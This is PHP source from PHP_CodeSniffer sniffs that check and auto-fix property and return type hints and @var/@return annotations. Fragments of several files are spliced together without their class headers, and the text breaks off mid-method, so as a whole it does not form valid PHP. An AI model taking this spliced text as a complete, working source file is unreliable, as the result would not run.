of parameter %s', $parameterName), T_ELLIPSIS => sprintf('varadic parameter %s', $parameterName), ]; $nextTokenPointer = TokenHelper::findNext( $phpcsFile, array_keys($nextTokenNames), $typeHintEndPointer + 1, $parameterEndPointer + 1, ); if ($tokens[$typeHintEndPointer + 1]['code'] !== T_WHITESPACE) { $fix = $phpcsFile->addFixableError( sprintf( 'There must be exactly one space between parameter type hint and %s.', $nextTokenNames[$tokens[$nextTokenPointer]['code']], ), $typeHintEndPointer, self::CODE_NO_SPACE_BETWEEN_TYPE_HINT_AND_PARAMETER, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $typeHintEndPointer, ' '); $phpcsFile->fixer->endChangeset(); } } elseif ($tokens[$typeHintEndPointer + 1]['content'] !== ' ') { $fix = $phpcsFile->addFixableError( sprintf( 'There must be exactly one space between parameter type hint and %s.', $nextTokenNames[$tokens[$nextTokenPointer]['code']], ), $typeHintEndPointer, self::CODE_MULTIPLE_SPACES_BETWEEN_TYPE_HINT_AND_PARAMETER, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $typeHintEndPointer + 1, ' '); $phpcsFile->fixer->endChangeset(); } } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $typeHintStartPointer - 1, $parameterStartPointer); $nullabilitySymbolPointer = $previousPointer !== null && $tokens[$previousPointer]['code'] === T_NULLABLE ? $previousPointer : null; if ($nullabilitySymbolPointer === null) { continue; } if ($nullabilitySymbolPointer + 1 === $typeHintStartPointer) { continue; } $fix = $phpcsFile->addFixableError( sprintf( 'There must be no whitespace between parameter type hint nullability symbol and parameter type hint of parameter %s.', $parameterName, ), $typeHintStartPointer, self::CODE_WHITESPACE_AFTER_NULLABILITY_SYMBOL, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $nullabilitySymbolPointer + 1, ''); $phpcsFile->fixer->endChangeset(); } } } */ public array $traversableTypeHints = []; /** @var list|null */ private ?array $normalizedTraversableTypeHints = null; /** * @return array */ public function register(): array { // Other modifiers cannot be used without type hint return [ T_VAR, T_PUBLIC, T_PROTECTED, T_PRIVATE, T_STATIC, T_FINAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->enableNativeTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableNativeTypeHint, 70400); $this->enableMixedTypeHint = $this->enableNativeTypeHint ? SniffSettingsHelper::isEnabledByPhpVersion($this->enableMixedTypeHint, 80000) : false; $this->enableUnionTypeHint = $this->enableNativeTypeHint ? SniffSettingsHelper::isEnabledByPhpVersion($this->enableUnionTypeHint, 80000) : false; $this->enableIntersectionTypeHint = $this->enableNativeTypeHint ? SniffSettingsHelper::isEnabledByPhpVersion($this->enableIntersectionTypeHint, 80100) : false; $this->enableStandaloneNullTrueFalseTypeHints = $this->enableNativeTypeHint ? SniffSettingsHelper::isEnabledByPhpVersion($this->enableStandaloneNullTrueFalseTypeHints, 80200) : false; $tokens = $phpcsFile->getTokens(); $asPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); if ($tokens[$asPointer]['code'] === T_AS) { return; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); if (in_array($tokens[$nextPointer]['code'], TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, true)) { // We don't want to report the same property multiple times return; } $propertyPointer = TokenHelper::findNext($phpcsFile, [T_FUNCTION, T_CONST, T_VARIABLE], $pointer + 1); if ($propertyPointer === null || $tokens[$propertyPointer]['code'] !== T_VARIABLE) { return; } if (!PropertyHelper::isProperty($phpcsFile, $propertyPointer)) { return; } if (SuppressHelper::isSniffSuppressed($phpcsFile, $propertyPointer, self::NAME)) { return; } $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $propertyPointer); if ($docCommentOpenPointer !== null) { if (DocCommentHelper::hasInheritdocAnnotation($phpcsFile, $docCommentOpenPointer)) { return; } $varAnnotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer, '@var'); $prefixedPropertyAnnotations = $this->getValidPrefixedAnnotations($phpcsFile, $docCommentOpenPointer); $propertyAnnotation = count($varAnnotations) > 0 ? current($varAnnotations) : null; } else { $propertyAnnotation = null; $prefixedPropertyAnnotations = []; } $propertyTypeHint = PropertyHelper::findTypeHint($phpcsFile, $propertyPointer); $this->checkTypeHint($phpcsFile, $propertyPointer, $propertyTypeHint, $propertyAnnotation, $prefixedPropertyAnnotations); $this->checkTraversableTypeHintSpecification( $phpcsFile, $propertyPointer, $propertyTypeHint, $propertyAnnotation, $prefixedPropertyAnnotations, ); $this->checkUselessAnnotation($phpcsFile, $propertyPointer, $propertyTypeHint, $propertyAnnotation); } /** * @param Annotation|null $propertyAnnotation * @param list> $prefixedPropertyAnnotations */ private function checkTypeHint( File $phpcsFile, int $propertyPointer, ?TypeHint $propertyTypeHint, ?Annotation $propertyAnnotation, array $prefixedPropertyAnnotations ): void { $suppressNameAnyTypeHint = $this->getSniffName(self::CODE_MISSING_ANY_TYPE_HINT); $isSuppressedAnyTypeHint = SuppressHelper::isSniffSuppressed($phpcsFile, $propertyPointer, $suppressNameAnyTypeHint); $suppressNameNativeTypeHint = $this->getSniffName(self::CODE_MISSING_NATIVE_TYPE_HINT); $isSuppressedNativeTypeHint = SuppressHelper::isSniffSuppressed($phpcsFile, $propertyPointer, $suppressNameNativeTypeHint); if ($propertyTypeHint !== null) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedAnyTypeHint, $suppressNameAnyTypeHint); $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } if (!$this->hasAnnotation($propertyAnnotation)) { if (count($prefixedPropertyAnnotations) !== 0) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedAnyTypeHint, $suppressNameAnyTypeHint); return; } if (!$isSuppressedAnyTypeHint) { $phpcsFile->addError( sprintf( $this->enableNativeTypeHint ? 'Property %s does not have native type hint nor @var annotation for its value.' : 'Property %s does not have @var annotation for its value.', PropertyHelper::getFullyQualifiedName($phpcsFile, $propertyPointer), ), $propertyPointer, self::CODE_MISSING_ANY_TYPE_HINT, ); } return; } if (!$this->enableNativeTypeHint) { return; } $typeNode = $propertyAnnotation->getValue()->type; $originalTypeNode = $typeNode; if ($typeNode instanceof NullableTypeNode) { $typeNode = $typeNode->type; } $canTryUnionTypeHint = $this->enableUnionTypeHint && $typeNode instanceof UnionTypeNode; $typeHints = []; $traversableTypeHints = []; $nullableTypeHint = false; if (AnnotationTypeHelper::containsOneType($typeNode)) { /** @var ArrayTypeNode|ArrayShapeNode|ObjectShapeNode|IdentifierTypeNode|ThisTypeNode|GenericTypeNode|CallableTypeNode $typeNode */ $typeNode = $typeNode; $typeHints[] = AnnotationTypeHelper::getTypeHintFromOneType($typeNode, false, $this->enableStandaloneNullTrueFalseTypeHints); } elseif ($typeNode instanceof UnionTypeNode || $typeNode instanceof IntersectionTypeNode) { $traversableTypeHints = []; foreach ($typeNode->types as $innerTypeNode) { if (!AnnotationTypeHelper::containsOneType($innerTypeNode)) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } /** @var ArrayTypeNode|ArrayShapeNode|ObjectShapeNode|IdentifierTypeNode|ThisTypeNode|GenericTypeNode|CallableTypeNode $innerTypeNode */ $innerTypeNode = $innerTypeNode; $typeHint = AnnotationTypeHelper::getTypeHintFromOneType($innerTypeNode, $canTryUnionTypeHint); if (strtolower($typeHint) === 'null') { $nullableTypeHint = true; continue; } $isTraversable = TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $propertyPointer, $typeHint), $this->getTraversableTypeHints(), ); if ( !$innerTypeNode instanceof ArrayTypeNode && !$innerTypeNode instanceof ArrayShapeNode && $isTraversable ) { $traversableTypeHints[] = $typeHint; } $typeHints[] = $typeHint; } $traversableTypeHints = array_values(array_unique($traversableTypeHints)); if (count($traversableTypeHints) > 1 && !$canTryUnionTypeHint) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } } $typeHints = array_values(array_unique($typeHints)); if (count($traversableTypeHints) > 0) { /** @var UnionTypeNode|IntersectionTypeNode $typeNode */ $typeNode = $typeNode; $itemsSpecificationTypeHint = AnnotationTypeHelper::getItemsSpecificationTypeFromType($typeNode); if ($itemsSpecificationTypeHint !== null) { $typeHints = AnnotationTypeHelper::getTraversableTypeHintsFromType( $typeNode, $phpcsFile, $propertyPointer, $this->getTraversableTypeHints(), $this->enableUnionTypeHint, ); } } if (count($typeHints) === 0) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } $typeHintsWithConvertedUnion = []; foreach ($typeHints as $typeHint) { if ($this->enableUnionTypeHint && TypeHintHelper::isUnofficialUnionTypeHint($typeHint)) { $canTryUnionTypeHint = true; array_push($typeHintsWithConvertedUnion, ...TypeHintHelper::convertUnofficialUnionTypeHintToOfficialTypeHints($typeHint)); } else { $typeHintsWithConvertedUnion[] = $typeHint; } } $typeHintsWithConvertedUnion = array_unique($typeHintsWithConvertedUnion); if ( count($typeHintsWithConvertedUnion) > 1 && ( ($typeNode instanceof UnionTypeNode && !$canTryUnionTypeHint) || ($typeNode instanceof IntersectionTypeNode && !$this->enableIntersectionTypeHint) ) ) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } foreach ($typeHintsWithConvertedUnion as $typeHintNo => $typeHint) { if ($typeHint === 'callable') { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } if ($canTryUnionTypeHint && $typeHint === 'false') { continue; } if (!TypeHintHelper::isValidTypeHint( $typeHint, true, false, $this->enableMixedTypeHint, $this->enableStandaloneNullTrueFalseTypeHints, )) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } if (TypeHintHelper::isTypeDefinedInAnnotation($phpcsFile, $propertyPointer, $typeHint)) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } $typeHintsWithConvertedUnion[$typeHintNo] = TypeHintHelper::convertLongSimpleTypeHintToShort($typeHint); } if ($originalTypeNode instanceof NullableTypeNode) { $nullableTypeHint = true; } if ($isSuppressedNativeTypeHint) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Property %s does not have native type hint for its value but it should be possible to add it based on @var annotation "%s".', PropertyHelper::getFullyQualifiedName($phpcsFile, $propertyPointer), AnnotationTypeHelper::print($typeNode), ), $propertyPointer, self::CODE_MISSING_NATIVE_TYPE_HINT, ); if (!$fix) { return; } if (in_array('mixed', $typeHintsWithConvertedUnion, true)) { $propertyTypeHint = 'mixed'; } elseif ($originalTypeNode instanceof IntersectionTypeNode) { $propertyTypeHint = implode('&', $typeHintsWithConvertedUnion); } else { $propertyTypeHint = implode('|', $typeHintsWithConvertedUnion); if ($nullableTypeHint) { if (count($typeHintsWithConvertedUnion) > 1) { $propertyTypeHint .= '|null'; } else { $propertyTypeHint = '?' . $propertyTypeHint; } } } $tokens = $phpcsFile->getTokens(); $pointerAfterProperty = null; if ($nullableTypeHint) { $pointerAfterProperty = TokenHelper::findNextEffective($phpcsFile, $propertyPointer + 1); } $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore($phpcsFile, $propertyPointer, sprintf('%s ', $propertyTypeHint)); if ( $pointerAfterProperty !== null && in_array($tokens[$pointerAfterProperty]['code'], [T_SEMICOLON, T_COMMA], true) ) { FixerHelper::add($phpcsFile, $propertyPointer, ' = null'); } $phpcsFile->fixer->endChangeset(); } /** * @param Annotation|null $propertyAnnotation * @param list> $prefixedPropertyAnnotations */ private function checkTraversableTypeHintSpecification( File $phpcsFile, int $propertyPointer, ?TypeHint $propertyTypeHint, ?Annotation $propertyAnnotation, array $prefixedPropertyAnnotations ): void { $suppressName = $this->getSniffName(self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION); $isSuppressed = SuppressHelper::isSniffSuppressed($phpcsFile, $propertyPointer, $suppressName); $hasTraversableTypeHint = $this->hasTraversableTypeHint($phpcsFile, $propertyPointer, $propertyTypeHint, $propertyAnnotation); $hasAnnotation = $this->hasAnnotation($propertyAnnotation); if (!$hasAnnotation) { if ($hasTraversableTypeHint) { if (count($prefixedPropertyAnnotations) !== 0) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressed, $suppressName); return; } if (!$isSuppressed) { $phpcsFile->addError( sprintf( '@var annotation of property %s does not specify type hint for its items.', PropertyHelper::getFullyQualifiedName($phpcsFile, $propertyPointer), ), $propertyPointer, self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION, ); } } return; } $typeNode = $propertyAnnotation->getValue()->type; if ( !$hasTraversableTypeHint && !AnnotationTypeHelper::containsTraversableType($typeNode, $phpcsFile, $propertyPointer, $this->getTraversableTypeHints()) ) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressed, $suppressName); return; } if (AnnotationTypeHelper::containsItemsSpecificationForTraversable( $typeNode, $phpcsFile, $propertyPointer, $this->getTraversableTypeHints(), )) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressed, $suppressName); return; } if ($isSuppressed) { return; } $phpcsFile->addError( sprintf( '@var annotation of property %s does not specify type hint for its items.', PropertyHelper::getFullyQualifiedName($phpcsFile, $propertyPointer), ), $propertyAnnotation->getStartPointer(), self::CODE_MISSING_TRAVERSABLE_TYPE_HINT_SPECIFICATION, ); } private function checkUselessAnnotation( File $phpcsFile, int $propertyPointer, ?TypeHint $propertyTypeHint, ?Annotation $propertyAnnotation ): void { if ($propertyAnnotation === null) { return; } $suppressName = self::getSniffName(self::CODE_USELESS_ANNOTATION); $isSuppressed = SuppressHelper::isSniffSuppressed($phpcsFile, $propertyPointer, $suppressName); if (!AnnotationHelper::isAnnotationUseless( $phpcsFile, $propertyPointer, $propertyTypeHint, $propertyAnnotation, $this->getTraversableTypeHints(), $this->enableUnionTypeHint, $this->enableIntersectionTypeHint, $this->enableStandaloneNullTrueFalseTypeHints, )) { $this->reportUselessSuppress($phpcsFile, $propertyPointer, $isSuppressed, $suppressName); return; } if ($isSuppressed) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Property %s has useless @var annotation.', PropertyHelper::getFullyQualifiedName($phpcsFile, $propertyPointer), ), $propertyAnnotation->getStartPointer(), self::CODE_USELESS_ANNOTATION, ); if (!$fix) { return; } if ($this->isDocCommentUseless($phpcsFile, $propertyPointer)) { $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $propertyPointer); $docCommentClosePointer = $phpcsFile->getTokens()[$docCommentOpenPointer]['comment_closer']; $changeStart = $docCommentOpenPointer; /** @var int $changeEnd */ $changeEnd = TokenHelper::findNextEffective($phpcsFile, $docCommentClosePointer + 1) - 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $changeStart, $changeEnd); $phpcsFile->fixer->endChangeset(); return; } /** @var int $changeStart */ $changeStart = TokenHelper::findPrevious($phpcsFile, T_DOC_COMMENT_STAR, $propertyAnnotation->getStartPointer() - 1); /** @var int $changeEnd */ $changeEnd = TokenHelper::findNext( $phpcsFile, [T_DOC_COMMENT_CLOSE_TAG, T_DOC_COMMENT_STAR], $propertyAnnotation->getEndPointer() + 1, ) - 1; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $changeStart, $changeEnd); $phpcsFile->fixer->endChangeset(); } private function isDocCommentUseless(File $phpcsFile, int $propertyPointer): bool { if (DocCommentHelper::hasDocCommentDescription($phpcsFile, $propertyPointer)) { return false; } foreach (AnnotationHelper::getAnnotations($phpcsFile, $propertyPointer) as $annotation) { if ($annotation->getName() !== '@var') { return false; } } return true; } private function reportUselessSuppress(File $phpcsFile, int $pointer, bool $isSuppressed, string $suppressName): void { if (!$isSuppressed) { return; } $fix = $phpcsFile->addFixableError( sprintf('Useless %s %s', SuppressHelper::ANNOTATION, $suppressName), $pointer, self::CODE_USELESS_SUPPRESS, ); if ($fix) { SuppressHelper::removeSuppressAnnotation($phpcsFile, $pointer, $suppressName); } } private function getSniffName(string $sniffName): string { return sprintf('%s.%s', self::NAME, $sniffName); } /** * @return list */ private function getTraversableTypeHints(): array { $this->normalizedTraversableTypeHints ??= array_map( static fn (string $typeHint): string => NamespaceHelper::isFullyQualifiedName($typeHint) ? $typeHint : sprintf('%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $typeHint), SniffSettingsHelper::normalizeArray($this->traversableTypeHints), ); return $this->normalizedTraversableTypeHints; } private function hasAnnotation(?Annotation $propertyAnnotation): bool { return $propertyAnnotation !== null && $propertyAnnotation->getValue() instanceof VarTagValueNode; } /** * @param Annotation|null $propertyAnnotation */ private function hasTraversableTypeHint( File $phpcsFile, int $propertyPointer, ?TypeHint $propertyTypeHint, ?Annotation $propertyAnnotation ): bool { if ( $propertyTypeHint !== null && TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint( $phpcsFile, $propertyPointer, $propertyTypeHint->getTypeHintWithoutNullabilitySymbol(), ), $this->getTraversableTypeHints(), ) ) { return true; } return $this->hasAnnotation($propertyAnnotation) && AnnotationTypeHelper::containsTraversableType( $propertyAnnotation->getValue()->type, $phpcsFile, $propertyPointer, $this->getTraversableTypeHints(), ); } /** * @return list> */ private function getValidPrefixedAnnotations(File $phpcsFile, int $docCommentOpenPointer): array { $varAnnotations = []; $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); foreach (AnnotationHelper::STATIC_ANALYSIS_PREFIXES as $prefix) { foreach ($annotations as $annotation) { if ($annotation->isInvalid()) { continue; } if ($annotation->getName() === sprintf('@%s-var', $prefix)) { $varAnnotations[] = $annotation; } } } return $varAnnotations; } } */ public array $traversableTypeHints = []; /** @var list|null */ private ?array $normalizedTraversableTypeHints = null; /** * @return array */ public function register(): array { return [ T_FUNCTION, T_CLOSURE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->enableObjectTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableObjectTypeHint, 70200); $this->enableStaticTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableStaticTypeHint, 80000); $this->enableMixedTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableMixedTypeHint, 80000); $this->enableUnionTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableUnionTypeHint, 80000); $this->enableIntersectionTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableIntersectionTypeHint, 80100); $this->enableNeverTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableNeverTypeHint, 80100); $this->enableStandaloneNullTrueFalseTypeHints = SniffSettingsHelper::isEnabledByPhpVersion( $this->enableStandaloneNullTrueFalseTypeHints, 80200, ); if (SuppressHelper::isSniffSuppressed($phpcsFile, $pointer, self::NAME)) { return; } if (DocCommentHelper::hasInheritdocAnnotation($phpcsFile, $pointer)) { return; } $token = $phpcsFile->getTokens()[$pointer]; if ($token['code'] === T_FUNCTION) { $returnTypeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $pointer); $returnAnnotation = FunctionHelper::findReturnAnnotation($phpcsFile, $pointer); $prefixedReturnAnnotations = FunctionHelper::getValidPrefixedReturnAnnotations($phpcsFile, $pointer); $this->checkFunctionTypeHint($phpcsFile, $pointer, $returnTypeHint, $returnAnnotation, $prefixedReturnAnnotations); $this->checkFunctionTraversableTypeHintSpecification( $phpcsFile, $pointer, $returnTypeHint, $returnAnnotation, $prefixedReturnAnnotations, ); $this->checkFunctionUselessAnnotation($phpcsFile, $pointer, $returnTypeHint, $returnAnnotation); } elseif ($token['code'] === T_CLOSURE) { $this->checkClosureTypeHint($phpcsFile, $pointer); } } /** * @param list $prefixedReturnAnnotations */ private function checkFunctionTypeHint( File $phpcsFile, int $functionPointer, ?TypeHint $returnTypeHint, ?Annotation $returnAnnotation, array $prefixedReturnAnnotations ): void { $suppressNameAnyTypeHint = $this->getSniffName(self::CODE_MISSING_ANY_TYPE_HINT); $isSuppressedAnyTypeHint = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressNameAnyTypeHint); $suppressNameNativeTypeHint = $this->getSniffName(self::CODE_MISSING_NATIVE_TYPE_HINT); $isSuppressedNativeTypeHint = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $suppressNameNativeTypeHint); $hasReturnAnnotation = $this->hasReturnAnnotation($returnAnnotation); $returnTypeNode = $this->getReturnTypeNode($returnAnnotation); $isAnnotationReturnTypeNever = $returnTypeNode instanceof IdentifierTypeNode && TypeHintHelper::isNeverTypeHint(strtolower($returnTypeNode->name)); if ($returnTypeHint !== null) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedAnyTypeHint, $suppressNameAnyTypeHint); $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); if ($this->enableNeverTypeHint && $returnTypeHint->getTypeHint() === 'void' && $isAnnotationReturnTypeNever) { $fix = $phpcsFile->addFixableError( sprintf( '%s %s() has return type hint "void" but it should be possible to add "never" based on @return annotation "%s".', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), AnnotationTypeHelper::print($returnTypeNode), ), $functionPointer, self::CODE_LESS_SPECIFIC_NATIVE_TYPE_HINT, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $returnTypeHint->getStartPointer(), 'never'); $phpcsFile->fixer->endChangeset(); } } return; } $methodsWithoutVoidSupport = ['__construct' => true, '__destruct' => true, '__clone' => true]; if (array_key_exists(FunctionHelper::getName($phpcsFile, $functionPointer), $methodsWithoutVoidSupport)) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedAnyTypeHint, $suppressNameAnyTypeHint); $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } $isAnnotationReturnTypeVoidOrNever = $returnTypeNode instanceof IdentifierTypeNode && ( TypeHintHelper::isVoidTypeHint(strtolower($returnTypeNode->name)) || $isAnnotationReturnTypeNever ); $isAbstract = FunctionHelper::isAbstract($phpcsFile, $functionPointer); $returnsValue = $isAbstract ? ($hasReturnAnnotation && !$isAnnotationReturnTypeVoidOrNever) : FunctionHelper::returnsValue($phpcsFile, $functionPointer); if (($returnsValue || $isAbstract) && !$hasReturnAnnotation) { if (count($prefixedReturnAnnotations) !== 0) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedAnyTypeHint, $suppressNameAnyTypeHint); return; } if (!$isSuppressedAnyTypeHint) { $phpcsFile->addError( sprintf( '%s %s() does not have return type hint nor @return annotation for its return value.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), ), $functionPointer, self::CODE_MISSING_ANY_TYPE_HINT, ); } return; } if ( !$returnsValue && ( !$hasReturnAnnotation || $isAnnotationReturnTypeVoidOrNever ) ) { if (!$isSuppressedNativeTypeHint) { $message = !$hasReturnAnnotation ? sprintf( '%s %s() does not have void return type hint.', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), ) : sprintf( '%s %s() does not have native return type hint for its return value but it should be possible to add it based on @return annotation "%s".', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), AnnotationTypeHelper::print($returnTypeNode), ); $fix = $phpcsFile->addFixableError($message, $functionPointer, self::getSniffName(self::CODE_MISSING_NATIVE_TYPE_HINT)); if ($fix) { $fixedReturnType = $this->enableNeverTypeHint && $isAnnotationReturnTypeNever ? 'never' : 'void'; $phpcsFile->fixer->beginChangeset(); FixerHelper::add( $phpcsFile, $phpcsFile->getTokens()[$functionPointer]['parenthesis_closer'], sprintf(': %s', $fixedReturnType), ); $phpcsFile->fixer->endChangeset(); } } return; } if (!$isSuppressedNativeTypeHint && $returnsValue && $isAnnotationReturnTypeVoidOrNever) { $message = sprintf( '%s %s() does not have native return type hint for its return value but it should be possible to add it based on @return annotation "%s".', FunctionHelper::getTypeLabel($phpcsFile, $functionPointer), FunctionHelper::getFullyQualifiedName($phpcsFile, $functionPointer), AnnotationTypeHelper::print($returnTypeNode), ); $phpcsFile->addError($message, $functionPointer, self::getSniffName(self::CODE_MISSING_NATIVE_TYPE_HINT)); return; } $canTryUnionTypeHint = $this->enableUnionTypeHint && $returnTypeNode instanceof UnionTypeNode; $typeHints = []; $traversableTypeHints = []; $nullableReturnTypeHint = false; $originalReturnTypeNode = $returnTypeNode; if ($returnTypeNode instanceof NullableTypeNode) { $returnTypeNode = $returnTypeNode->type; } if (AnnotationTypeHelper::containsOneType($returnTypeNode)) { /** @var ArrayTypeNode|ArrayShapeNode|ObjectShapeNode|IdentifierTypeNode|ThisTypeNode|GenericTypeNode|CallableTypeNode $returnTypeNode */ $returnTypeNode = $returnTypeNode; $typeHints[] = AnnotationTypeHelper::getTypeHintFromOneType( $returnTypeNode, false, $this->enableStandaloneNullTrueFalseTypeHints, ); } elseif ($returnTypeNode instanceof UnionTypeNode || $returnTypeNode instanceof IntersectionTypeNode) { $traversableTypeHints = []; foreach ($returnTypeNode->types as $typeNode) { if (!AnnotationTypeHelper::containsOneType($typeNode)) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } /** @var ArrayTypeNode|ArrayShapeNode|ObjectShapeNode|IdentifierTypeNode|ThisTypeNode|GenericTypeNode|CallableTypeNode $typeNode */ $typeNode = $typeNode; $typeHint = AnnotationTypeHelper::getTypeHintFromOneType($typeNode, $canTryUnionTypeHint); if (strtolower($typeHint) === 'null') { $nullableReturnTypeHint = true; continue; } $isTraversable = TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $functionPointer, $typeHint), $this->getTraversableTypeHints(), ); if ( !$typeNode instanceof ArrayTypeNode && !$typeNode instanceof ArrayShapeNode && $isTraversable ) { $traversableTypeHints[] = $typeHint; } $typeHints[] = $typeHint; } $traversableTypeHints = array_values(array_unique($traversableTypeHints)); if (count($traversableTypeHints) > 1 && !$canTryUnionTypeHint) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } } $typeHints = array_values(array_unique($typeHints)); if (count($traversableTypeHints) > 0) { /** @var UnionTypeNode|IntersectionTypeNode $returnTypeNode */ $returnTypeNode = $returnTypeNode; $itemsSpecificationTypeHint = AnnotationTypeHelper::getItemsSpecificationTypeFromType($returnTypeNode); if ($itemsSpecificationTypeHint !== null) { $typeHints = AnnotationTypeHelper::getTraversableTypeHintsFromType( $returnTypeNode, $phpcsFile, $functionPointer, $this->getTraversableTypeHints(), $canTryUnionTypeHint, ); } } if (count($typeHints) === 0) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } $typeHintsWithConvertedUnion = []; foreach ($typeHints as $typeHint) { if ($this->enableUnionTypeHint && TypeHintHelper::isUnofficialUnionTypeHint($typeHint)) { $canTryUnionTypeHint = true; array_push($typeHintsWithConvertedUnion, ...TypeHintHelper::convertUnofficialUnionTypeHintToOfficialTypeHints($typeHint)); } else { $typeHintsWithConvertedUnion[] = $typeHint; } } $typeHintsWithConvertedUnion = array_unique($typeHintsWithConvertedUnion); if ( count($typeHintsWithConvertedUnion) > 1 && ( ($returnTypeNode instanceof UnionTypeNode && !$canTryUnionTypeHint) || ($returnTypeNode instanceof IntersectionTypeNode && !$this->enableIntersectionTypeHint) ) ) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } foreach ($typeHintsWithConvertedUnion as $typeHintNo => $typeHint) { if ($canTryUnionTypeHint && $typeHint === 'false') { continue; } if (!TypeHintHelper::isValidTypeHint( $typeHint, $this->enableObjectTypeHint, $this->enableStaticTypeHint, $this->enableMixedTypeHint, $this->enableStandaloneNullTrueFalseTypeHints, )) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } if (TypeHintHelper::isTypeDefinedInAnnotation($phpcsFile, $functionPointer, $typeHint)) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } if (TypeHintHelper::isVoidTypeHint($typeHint) || TypeHintHelper::isNeverTypeHint($typeHint)) { $this->reportUselessSuppress($phpcsFile, $functionPointer, $isSuppressedNativeTypeHint, $suppressNameNativeTypeHint); return; } $typeHintsWithConvertedUnion[$typeHintNo] = TypeHintHelper::convertLongSimpleTypeHintToShort($typeHint); } if ($originalReturnTypeNode instanceof NullableTypeNode) { $nullableReturnTypeHint = true; } if ($isSuppressedNativeTypeHint) 